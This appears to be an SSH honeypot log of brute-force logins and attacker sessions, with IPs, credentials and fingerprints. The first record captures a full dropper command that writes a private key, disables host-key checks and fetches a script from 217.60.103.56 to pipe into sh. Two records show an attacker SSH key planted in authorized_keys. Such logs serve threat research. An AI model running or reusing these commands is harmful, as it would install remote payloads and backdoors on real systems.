[obs-node]:~$ uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.103.56:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh

Record ID: 3190102fd747

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "3190102fd747",
  "src_ip": "130.12.180.51",
  "start_time": "2026-10-02T15:13:59.519974Z",
  "end_time": "2026-10-02T15:14:01.689868Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [
    "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.103.56:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.103.56:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 120,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

112.215.69.2

2026-10-02 15:13:55.460508 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: a023e6b66f6c

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 3.0s

HASSH Fingerprint: 19532158b559096b89b1a5f7d17175b2

{
  "id": "a023e6b66f6c",
  "src_ip": "112.215.69.2",
  "start_time": "2026-10-02T15:13:55.460508Z",
  "end_time": "2026-10-02T15:13:58.424930Z",
  "duration": "3.0",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "19532158b559096b89b1a5f7d17175b2",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

128.199.145.5

2026-10-02 15:13:12.285028 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sftpuser

Record ID: 2e04e9b94bdf

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2e04e9b94bdf",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:13:12.285028Z",
  "end_time": "2026-10-02T15:13:14.531888Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sftpuser",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:13:00.428339 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 4880697df173

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4880697df173",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:13:00.428339Z",
  "end_time": "2026-10-02T15:13:00.798922Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:12:59.043588 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: cc556ea9866d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cc556ea9866d",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:12:59.043588Z",
  "end_time": "2026-10-02T15:13:00.377832Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:12:58.284787 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Aliyun@123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 23909186908e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "23909186908e",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:12:58.284787Z",
  "end_time": "2026-10-02T15:13:00.795776Z",
  "duration": "2.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aliyun@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

128.199.145.5

2026-10-02 15:11:39.977537 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs

Record ID: 04f4a3e4308b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "04f4a3e4308b",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:11:39.977537Z",
  "end_time": "2026-10-02T15:11:43.103087Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "cs",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:11:35.228625 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sftpuser

Record ID: 189d9f37b045

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "189d9f37b045",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:11:35.228625Z",
  "end_time": "2026-10-02T15:11:36.588800Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sftpuser",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

128.199.145.5

2026-10-02 15:10:06.755877 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student

Record ID: 5feaf5f1e1cd

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5feaf5f1e1cd",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:10:06.755877Z",
  "end_time": "2026-10-02T15:10:09.191481Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "student",
      "pass": "student@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:10:04.031702 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: consultor

Record ID: 93ce3c3eeb39

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "93ce3c3eeb39",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:10:04.031702Z",
  "end_time": "2026-10-02T15:10:05.393652Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "consultor",
      "pass": "consultor"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:08:41.506175 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 3623c79370d4

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3623c79370d4",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:08:41.506175Z",
  "end_time": "2026-10-02T15:08:41.840801Z",
  "duration": "0.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

128.199.145.5

2026-10-02 15:08:40.662326 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: d24bc4cbdb9d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d24bc4cbdb9d",
  "src_ip": "128.199.145.5",
  "start_time": "2026-10-02T15:08:40.662326Z",
  "end_time": "2026-10-02T15:08:42.614015Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:08:40.100623 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d40b9c1e0461

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d40b9c1e0461",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:08:40.100623Z",
  "end_time": "2026-10-02T15:08:41.460278Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

201.149.53.243

2026-10-02 15:08:39.172397 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456789m

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e33076845dbb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e33076845dbb",
  "src_ip": "201.149.53.243",
  "start_time": "2026-10-02T15:08:39.172397Z",
  "end_time": "2026-10-02T15:08:41.844029Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456789m"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}